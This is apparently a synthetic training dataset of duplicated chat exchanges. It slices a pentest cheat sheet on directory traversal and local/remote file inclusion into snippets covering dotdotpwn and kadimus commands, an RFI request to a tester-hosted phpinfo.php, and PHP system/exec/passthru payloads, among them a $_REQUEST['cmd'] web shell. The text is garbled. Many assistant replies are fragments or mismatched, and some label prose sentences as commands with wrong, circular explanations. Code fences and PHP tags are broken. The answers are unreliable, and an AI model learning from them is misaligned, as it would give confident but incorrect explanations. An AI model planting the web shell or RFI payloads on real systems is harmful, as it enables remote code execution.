[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do 🛠 Directory traversal - User privilege

[Assistant]
c:/system volume information/wpsettings.dat
    C:/Windows/CSC/v2.0.6/pq
    C:/Windows/CSC/v2.0.6/sm
    C:/$Recycle.Bin/S-1-5-18/desktop.ini

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do 🛠 Directory traversal - User privilege

Response:
c:/system volume information/wpsettings.dat
    C:/Windows/CSC/v2.0.6/pq
    C:/Windows/CSC/v2.0.6/sm
    C:/$Recycle.Bin/S-1-5-18/desktop.ini


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `c:/system volume information/wpsettings.dat`?

[Assistant] This command is used for 🛠 directory traversal - user privilege. User privilege

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `c:/system volume information/wpsettings.dat`?

Response: This command is used for 🛠 directory traversal - user privilege. User privilege


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does File inclusion - Theory work?

[Assistant]
Many web applications manage files and use server-side scripts to include them. When input parameters (cookies, GET or POST parameters) used in those scripts are insufficiently validated and sanitized, these web apps can be vulnerable to file inclusion.

LFI/RFI (Local/Remote File Inclusion) attacks allow attackers to read sensitive files, include local or remote content that could lead to RCE (Remote Code Execution) or to client-side attacks such as XSS (Cross-Site Scripting).

Directory traversal (a.k.a. path traversal, directory climbing, backtracking, the dot dot slash attack) attacks allow attackers to access sensitive files on the file system, outside the web server directory. File inclusion attacks can leverage a directory traversal vulnerability to include files with a relative path.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Many web applications manage files and use server-side scripts to include them. When input parameters (cookies, GET or POST parameters) used in those scripts are insufficiently validated and sanitized, these web apps can be vulnerable to file inclusion.

LFI/RFI (Local/Remote File Inclusion) attacks allow attackers to read sensitive files, include local or remote content that could lead to RCE (Remote Code Execution) or to client-side attacks such as XSS (Cross-Site Scripting).

Directory traversal (a.k.a. path traversal, directory climbing, backtracking, the dot dot slash attack) attacks allow attackers to access sensitive files on the file system, outside the web server directory. File inclusion attacks can leverage a directory traversal vulnerability to include files with a relative path.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for File inclusion - Theory?

[Assistant]
Many web applications manage files and use server-side scripts to include them. When input parameters (cookies, GET or POST parameters) used in those scripts are insufficiently validated and sanitized, these web apps can be vulnerable to file inclusion.

LFI/RFI (Local/Remote File Inclusion) attacks allow attackers to read sensitive files, include local or remote content that could lead to RCE (Remote Code Execution) or to client-side attacks such as XSS (Cross-Site Scripting).

Directory traversal (a.k.a. path traversal, directory climbing, backtracking, the dot dot slash attack) attacks allow attackers to access sensitive files on the file system, outside the web server directory. File inclusion attacks can leverage a directory traversal vulnerability to include files with a relative path.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for File inclusion - Theory?

Response:
Many web applications manage files and use server-side scripts to include them. When input parameters (cookies, GET or POST parameters) used in those scripts are insufficiently validated and sanitized, these web apps can be vulnerable to file inclusion.

LFI/RFI (Local/Remote File Inclusion) attacks allow attackers to read sensitive files, include local or remote content that could lead to RCE (Remote Code Execution) or to client-side attacks such as XSS (Cross-Site Scripting).

Directory traversal (a.k.a. path traversal, directory climbing, backtracking, the dot dot slash attack) attacks allow attackers to access sensitive files on the file system, outside the web server directory. File inclusion attacks can leverage a directory traversal vulnerability to include files with a relative path.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain File inclusion - Practice

[Assistant]
Testers need to identify input vectors (parts of the app that accept content from the users) that could be used for file-related operations. For each identified vector, testers need to check if malicious strings and values successfully exploit any vulnerability.

* Local File Inclusion: inclusion of a local file (in the webserver directory) using an absolute path
* LFI + directory traversal: inclusion of a local file (in the webserver directory or not) by "climbing" the server tree with ../ (relative path)
* Remote File Inclusion: inclusion of a remote file (not on the server) using a URI

The tool dotdotpwn (Perl) can help in finding and exploiting directory traversal vulnerabilities by fuzzing the web app. However, manual testing is usually more efficient.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Testers need to identify input vectors (parts of the app that accept content from the users) that could be used for file-related operations. For each identified vector, testers need to check if malicious strings and values successfully exploit any vulnerability.

* Local File Inclusion: inclusion of a local file (in the webserver directory) using an absolute path
* LFI + directory traversal: inclusion of a local file (in the webserver directory or not) by "climbing" the server tree with ../ (relative path)
* Remote File Inclusion: inclusion of a remote file (not on the server) using a URI

The tool dotdotpwn (Perl) can help in finding and exploiting directory traversal vulnerabilities by fuzzing the web app. However, manual testing is usually more efficient.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on File inclusion - Practice

[Assistant]
Testers need to identify input vectors (parts of the app that accept content from the users) that could be used for file-related operations. For each identified vector, testers need to check if malicious strings and values successfully exploit any vulnerability.

* Local File Inclusion: inclusion of a local file (in the webserver directory) using an absolute path
* LFI + directory traversal: inclusion of a local file (in the webserver directory or not) by "climbing" the server tree with ../ (relative path)
* Remote File Inclusion: inclusion of a remote file (not on the server) using a URI

The tool dotdotpwn (Perl) can help in finding and exploiting directory traversal vulnerabilities by fuzzing the web app. However, manual testing is usually more efficient.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on File inclusion - Practice

Response:
Testers need to identify input vectors (parts of the app that accept content from the users) that could be used for file-related operations. For each identified vector, testers need to check if malicious strings and values successfully exploit any vulnerability.

* Local File Inclusion: inclusion of a local file (in the webserver directory) using an absolute path
* LFI + directory traversal: inclusion of a local file (in the webserver directory or not) by "climbing" the server tree with ../ (relative path)
* Remote File Inclusion: inclusion of a remote file (not on the server) using a URI

The tool dotdotpwn (Perl) can help in finding and exploiting directory traversal vulnerabilities by fuzzing the web app. However, manual testing is usually more efficient.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of With a request file where /?argument=TRAVERSAL (request file must be in /usr/share/dotdotpwn)

[Assistant] dotdotpwn.pl -m payload -h $RHOST -x $RPORT -p $REQUESTFILE -k "root:" -f /etc/passwd

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of With a request file where /?argument=TRAVERSAL (request file must be in /usr/share/dotdotpwn)

Response: dotdotpwn.pl -m payload -h $RHOST -x $RPORT -p $REQUESTFILE -k "root:" -f /etc/passwd


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out With a request file where /?argument=TRAVERSAL (request file must be in /usr/share/dotdotpwn) during a pentest?

[Assistant] dotdotpwn.pl -m payload -h $RHOST -x $RPORT -p $REQUESTFILE -k "root:" -f /etc/passwd

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out With a request file where /?argument=TRAVERSAL (request file must be in /usr/share/dotdotpwn) during a pentest?

Response: dotdotpwn.pl -m payload -h $RHOST -x $RPORT -p $REQUESTFILE -k "root:" -f /etc/passwd


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...) in the context of penetration testing

[Assistant]
dotdotpwn -m stdout -d 5
``

The tool kadimus (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.

`bash
kadimus --user-agent "PENTEST" -u '$URL/?parameter=value'
`

Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a phpinfo.php containing php phpinfo(); ? and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the phpinfo.php file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the phpinfo in the response.

> [!WARNING]
> If the tester server used to host the phpinfo.php file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...) in the context of penetration testing

Response:
dotdotpwn -m stdout -d 5
``

The tool kadimus (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.

`bash
kadimus --user-agent "PENTEST" -u '$URL/?parameter=value'
`

Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a phpinfo.php containing php phpinfo(); ? and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the phpinfo.php file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the phpinfo in the response.

> [!WARNING]
> If the tester server used to host the phpinfo.php file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)

[Assistant]
dotdotpwn -m stdout -d 5
``

The tool kadimus (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.

`bash
kadimus --user-agent "PENTEST" -u '$URL/?parameter=value'
`

Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a phpinfo.php containing php phpinfo(); ? and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the phpinfo.php file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the phpinfo in the response.

> [!WARNING]
> If the tester server used to host the phpinfo.php file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)

Response:
dotdotpwn -m stdout -d 5
``

The tool kadimus (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.

`bash
kadimus --user-agent "PENTEST" -u '$URL/?parameter=value'
`

Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a phpinfo.php containing php phpinfo(); ? and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the phpinfo.php file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the phpinfo in the response.

> [!WARNING]
> If the tester server used to host the phpinfo.php file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the The command for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...)

[Assistant] The tool [kadimus](https://github.com/P0cL4bs/Kadimus) (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the The command for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...)

Response: The tool [kadimus](https://github.com/P0cL4bs/Kadimus) (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)

[Assistant] The tool [kadimus](https://github.com/P0cL4bs/Kadimus) (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: The tool [kadimus](https://github.com/P0cL4bs/Kadimus) (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `The tool [kadimus](https://github.com/P0cL4bs/Kadimus) (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.`?

[Assistant] This command is used for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...). Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `The tool [kadimus](https://github.com/P0cL4bs/Kadimus) (C) can help in finding and exploiting File Inclusion vulnerabilities. However, manual testing is usually more efficient.`?

Response: This command is used for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...). Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Depending command for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...)

[Assistant]
Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a `phpinfo.php` containing `php phpinfo(); ?` and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the `phpinfo.php` file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the `phpinfo` in the response.

> [!WARNING]
> If the tester server used to host the `phpinfo.php` file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Depending command for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...)

Response:
Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a `phpinfo.php` containing `php phpinfo(); ?` and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the `phpinfo.php` file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the `phpinfo` in the response.

> [!WARNING]
> If the tester server used to host the `phpinfo.php` file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)?

[Assistant]
Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a `phpinfo.php` containing `php phpinfo(); ?` and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the `phpinfo.php` file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the `phpinfo` in the response.

> [!WARNING]
> If the tester server used to host the `phpinfo.php` file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)?

Response:
Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.

Local file inclusions can sometimes be combined with other vulnerabilities to achieve code execution

* directory traversal
* null-byte injection
* unrestricted file upload
* log poisoning

Once an attacker is able to execute code on a target, testing the limitations of that code execution can help to go from code execution (e.g. PHP, ASPX, etc.) to command execution (e.g. Linux or Windows commands).

With PHP as example, the tester can create a `phpinfo.php` containing `php phpinfo(); ?` and use a simple HTTP server so that the target application can fetch it. When exploiting the RFI to include the `phpinfo.php` file, the tester server will send the plaintext PHP code to the target server that should execute the code and show the `phpinfo` in the response.

> [!WARNING]
> If the tester server used to host the `phpinfo.php` file can interpret PHP, it will. The tester will not achieve code execution on the target server but on his own instead. A simple HTTP server will do.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.`?

[Assistant] This command is used for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...). Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Depending on the environment, file inclusions can sometimes lead to RCE (Remote Code Execution) by including a local file containing code previously injected by the attacker or a remote file containing code that the server can execute.`?

Response: This command is used for generate a wordlist in stdout that can be used by other fuzzers (ffuf, gobuster...). Generate a wordlist in STDOUT that can be used by other fuzzers (ffuf, gobuster...)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Exploit the RFI to fetch the remote phpinfo.php file

[Assistant]
curl '$URL/?parameter=http://tester.server/phpinfo.php'
``

If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

`php
<php system('whoami'); ?>
`

`php
<php exec('whoami'); ?>
`

`php
<php passthru('whoami'); ?>
`

`php
<php shell_exec('whoami'); ?
`

`php
<php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>
``

> [!TIP]
> Read the "LFI to RCE" articles for more insight

> [!TIP]
> Read the RFI to RCE article for more insight

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Exploit the RFI to fetch the remote phpinfo.php file

Response:
curl '$URL/?parameter=http://tester.server/phpinfo.php'
``

If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

`php
<php system('whoami'); ?>
`

`php
<php exec('whoami'); ?>
`

`php
<php passthru('whoami'); ?>
`

`php
<php shell_exec('whoami'); ?
`

`php
<php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>
``

> [!TIP]
> Read the "LFI to RCE" articles for more insight

> [!TIP]
> Read the RFI to RCE article for more insight


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Exploit the RFI to fetch the remote phpinfo.php file

[Assistant]
curl '$URL/?parameter=http://tester.server/phpinfo.php'
``

If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

`php
<php system('whoami'); ?>
`

`php
<php exec('whoami'); ?>
`

`php
<php passthru('whoami'); ?>
`

`php
<php shell_exec('whoami'); ?
`

`php
<php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>
``

> [!TIP]
> Read the "LFI to RCE" articles for more insight

> [!TIP]
> Read the RFI to RCE article for more insight

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Exploit the RFI to fetch the remote phpinfo.php file

Response:
curl '$URL/?parameter=http://tester.server/phpinfo.php'
``

If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

`php
<php system('whoami'); ?>
`

`php
<php exec('whoami'); ?>
`

`php
<php passthru('whoami'); ?>
`

`php
<php shell_exec('whoami'); ?
`

`php
<php if(isset($_REQUEST['cmd'])){ echo "<pre"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; }?>
``

> [!TIP]
> Read the "LFI to RCE" articles for more insight

> [!TIP]
> Read the RFI to RCE article for more insight


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the If syntax for exploit the rfi to fetch the remote phpinfo.php file?

[Assistant]
If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the If syntax for exploit the rfi to fetch the remote phpinfo.php file?

Response:
If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Exploit the RFI to fetch the remote phpinfo.php file?

[Assistant]
If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Exploit the RFI to fetch the remote phpinfo.php file?

Response:
If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.

> [!TIP]
> As code execution functions can be filtered, the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.`?

[Assistant] This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `If the phpinfo has been successfully printed in the response, the tester can engage a more offensive approach by trying to execute commands with one of the following payloads.`?

Response: This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Exploit the RFI to fetch the remote phpinfo.php file?

[Assistant]
```php
<php exec('whoami'); ?>

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
```php
<php exec('whoami'); ?>


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: ````php`?

[Assistant] This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Exploit the RFI to fetch the remote phpinfo.php file?

[Assistant] <php passthru('whoami'); ?>

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Exploit the RFI to fetch the remote phpinfo.php file?

Response: <php passthru('whoami'); ?>


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `<php passthru('whoami'); ?>`?

[Assistant] This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `<php passthru('whoami'); ?>`?

Response: This command is used for exploit the rfi to fetch the remote phpinfo.php file. Exploit the RFI to fetch the remote phpinfo.php file


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Exploit the RFI to fetch the remote phpinfo.php file

[Assistant] <php shell_exec('whoami'); ?

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Exploit the RFI to fetch the remote phpinfo.php file

Response: <php shell_exec('whoami'); ?


